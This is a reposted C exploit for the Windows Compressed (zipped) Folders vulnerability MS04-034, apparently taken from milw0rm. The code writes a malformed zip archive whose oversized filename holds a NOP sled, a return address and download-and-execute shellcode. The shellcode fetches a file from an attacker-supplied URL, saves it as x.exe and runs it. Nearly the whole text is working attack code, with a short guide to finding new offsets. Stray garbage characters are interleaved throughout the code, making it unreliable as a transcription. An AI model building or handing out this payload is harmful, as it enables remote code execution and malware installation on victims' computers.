(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html $ n* l, K. F. n( @2 `, F* Exploit Date: 21/10/2004 j" z% v) b/ W# }- y1 F O" \* * Tarako - Haxorcitos.com 2004 8 F2 e/ D0 F7 d1 x1 T* \; E8 y* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION 3 O0 q1 }! u% Y4 @4 }* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. ! A: O1 C! B$ ~( x' ^3 M! a- ?, B5 X* 5 U/ ?+ B$ g0 S b+ _0 N z3 f* Greetings t #haxorcitos, #dsr and #localhost @efnet * ! O. @- m2 J! K u. {5 F* " r. u" V, |- d- T7 Y+ G2 X' T* How to get new offsets: ( @2 f% d4 k+ W1 n* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it 6 A! r1 I, z" @9 N1 y. t* 3) search in the explorer.exe memory the shellcode and get the addresses * 5 o0 s! s8 f6 Y+ l- @8 D*/ 0 [1 e6 s x* U: ^1 A #include <stdio.h> # C# f+ u# i; n" e#include <windows.h> #pragma pack(1) H9 O/ Q$ l$ G5 x) E #define DATOS "Tarako-Haxorcitos.com" % | f& c7 p1 J5 H w, o typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 8 r; \0 z7 _+ S, F) f& OWORD ModFileTime; ! I Y: p8 m: d1 l% w' eWORD ModFileDate; DWORD Crc32; ; b9 V; k+ s" R8 Q; E( ODWORD CompressedSize; ; D/ `' {3 j7 ~& J9 k( bDWORD UncompressedSize; WORD FilenameLength; ! X, {7 L" ]+ yWORD ExtraFieldLength; // filename (variable size) , _" \4 @. w, Z3 s// extra field (variable size) " {* V, u! g( E/ Q: V( G}TOPHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; , S! L5 }- u6 B/ L% k/ zWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas 0 l; ^( P% T. q, @* K% C% lWORD CompressionMethod; 9 c! c4 u3 V/ E5 |WORD ModFileTime; WORD ModFileDate; 2 C' F# d* u( j5 b3 f; {- ~6 h; BDWORD Crc32; % n7 Z6 K( L x, `! X3 N% jDWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; ) L) u. Y/ G$ M {( E- p, F/ NWORD ExtraFieldLength; WORD FileCommentLength; " Q. u7 o3 P6 I7 m( ZWORD DiskNumberStart; . p! m( \: X8 @# DWORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; ) {: ~8 @7 O, O2 o0 e/ G// filename (variable size) 4 _% H' N4 c$ b( O6 E3 P5 y3 c// extra field (variable size) 2 }" K- \ y. m// file comment (variable size) }MIDDLEHEADER; 5 i6 b8 i+ r I( Z1 u% v typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) : V; N ]0 Y! q$ sWORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; / ?" t. @1 Z, }WORD TotalNumEntriesCentralDir; ! L) ]& }2 {( B) ?. _3 JDWORD SizeCentralDirectory; ' [; a' y# t5 _8 {6 \, Z1 JDWORD OffsetCentraDirRespectStartDiskNum; / e; {- ^! d' |: x. T, C2 ^9 gWORD ZipCommentLength; 7 S9 H( Q+ k4 C// zipfile comment (variable size) }BOTTOMHEADER; /* 3 r3 _7 @9 A) u8 D0 e3 A% S* k* download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = 4 e. w) {: N* N/ t3 P$ F! J"\xEB\x5D\x5F\x8B\xF7\x80\x3F" 0 z. M6 @& u$ y* z"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 3 J# \7 v# W9 n"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" * j( B2 D6 R: T+ X2 Y- U$ Q, t4 T"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" * h* A4 R2 h( k( A# _# O"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" ! L# T I# [8 I/ V4 W"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" " C3 [( z) E- N; H7 ]) W"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" : w0 f% Q* m# Y3 k, f. Y6 a"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" , H, @- s3 w& D( U5 I7 k"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" 5 C- M( m: U2 y; I8 K3 J+ [9 K"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" ]0 W( t2 F% H8 A6 p8 g' U7 Y"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" 3 k/ O( ~% {8 g. |. a. i! {"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" * d, ]# l- ]8 Y e; M1 \9 K" i"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ( h6 D6 \8 O& }"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" $ c& L) F) K8 c# }. R5 c1 C3 E"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" u$ E3 e- Y9 Q2 y"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" ' v/ x: J) v. T3 N# h/ L"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 1 n5 E0 g* @' V. a+ D5 {3 h' kchar shellcode2[] ="\x08\x01"; # @- ~/ d& h, V" l7 x* C char offset[]="\x41\x41\x41\x41"; 8 ~/ W. b" W: O; f3 y; a3 vchar jmpbelow[]= "\xeb\x06\x90\x90"; 4 M2 @3 |3 s7 h, m% e. ?8 ]' P / D9 c% ^: N/ _, j7 n. dint main(int argc,char *argv[]) { % T7 b' `5 N' _. c' i4 U * e# v! O; e+ c+ I) d6 TFILE *ZipFile; + D7 ?. Z4 u4 F. mTOPHEADER *Cabecera1; 2 i6 q% J% M% t3 {MIDDLEHEADER *Cabecera2; " q: ?9 _8 o1 b) i( y7 U; @" KBOTTOMHEADER *Cabecera3; 6 ]5 d/ ]9 X! G! }- j( W8 d' i+ E* I DWORD c; 0 i4 s4 q6 T7 m1 oUINT i; char *filename; char *url; % ?; N2 k+ M( w1 [5 o8 wprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); 9 f$ F$ w; J7 _) ?; C if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } ( m; P+ @8 N7 m* @: y, V url=argv[1]; / i& k( S2 N8 A. |$ Y Xprintf("\n * URL: %s",url); : R4 R0 D1 I2 q if (!(ZipFile=fopen("prueba.zip","w+b"))) { * t5 N ^. R2 n9 b1 oprintf("\n [E] fopen()"); exit(1); . }6 Z1 t- m1 s% `0 }, n} 8 p8 G6 e5 k; A( o: C* z3 D 9 _' A9 z0 ?% F: E4 j2 }9 s& }c=0x8000; // filename length / j- t3 y6 E/ o% b7 F9 h7 R! ~7 wfilename=(char*)malloc(sizeof(char)*c); 4 V) E9 {( B; d5 g' q0 r3 p* pmemset(filename,0,sizeof(filename)); # r+ g* }* c( c6 T$ Vfor( i=0x0;i<c;i++) filename=(BYTE)0x90; / H# l7 M" n/ l/ \8 v4 s& B; T0 Q! p1 j memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); : n7 G3 M4 ]9 a' ~. A ) N. x$ S! a5 u- Hmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); 0 t4 L8 B$ q6 [9 ]. R" @- V3 a4 lmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); [( s/ f7 S' H8 ]% X% m5 V( z ; k/ b U: P. y5 E3 A9 R9 ^memcpy(filename+(c-4),".txt",4); $ J6 p$ I% v, j Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); * b& K k; I a$ _0 Jmemset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); 6 B% P, q! F8 V Gmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); 7 a& k6 h' N. h' d% p2 ^ . A6 U" G% O7 V8 o& m& G/////////////////////////////////////////////////////////////////// // TOPHEADER ) _1 i7 z9 t4 j1 {7 f$ X1 [/////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD 5 s2 U9 Y, _6 R' r- cCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 1 d- T! ]$ o2 cCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD 5 {2 }: {' I" q' Z0 i- A! HCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 4 g9 X5 @( b% ACabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// . V) m" g! v8 g7 d- K6 E7 W; e, V/////////////////////////////////////////////////////////////////// // MIDDLEHEADER + l5 C v' ^6 A' L9 d( i, y/////////////////////////////////////////////////////////////////// & y0 f0 l7 @5 J0 B* t. U, S* ~4 @Cabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD . @/ q5 y! D3 `+ l e+ [. BCabecera2->VersionNeeded=0x000A; // WORD 2 w& i; [0 f; q( [& W/ P" JCabecera2->GeneralPurposeFlag=0x0002; // WORD 3 ? ] P! W9 n4 ]' l* RCabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD , J- L. U' o0 JCabecera2->ModFileDate=0x3154; // WORD Cabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD 0 k8 r5 x( u7 m3 P" ~Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD * h' e E3 o" y! }) f" d0 e8 yCabecera2->DiskNumberStart=0x0000; // WORD # g) X ^$ X, |3 ICabecera2->InternalFileAttributes=0x0001; // WORD % Y5 C: K- l# N0 K2 l6 p/ n" zCabecera2->ExternalFileAttributes=0x00000020; // DWORD , w1 O7 _( h2 o: c4 DCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD 1 {& D0 G, K' p) e6 p7 u/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// . E0 ]* P( P+ g" ? i7 Q// BOTTOMHEADER ! H: }3 F# H; F% l/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD 1 K+ ]3 R% m( ] X9 B; pCabecera3->NumOfThisDisk=0x0000; // WORD 9 x3 o* \) j- U6 n6 `5 p HCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD + V* Q6 s6 w; cCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD $ @1 s7 u7 X5 f. p8 A/ y/////////////////////////////////////////////////////////////////// 2 I2 k" b- B: Q, z. T9 [* R fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); % e/ [3 [# E5 x2 K- }4 } 2 H1 c/ s9 e$ B+ _3 P" Nfwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); B+ Y" |* ?2 }) K3 Z! Ifwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 7 U& ~( G6 M# P V- ufclose(ZipFile); printf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com 3 R1 k. G3 a; l8 x2 G0 N8 w7 l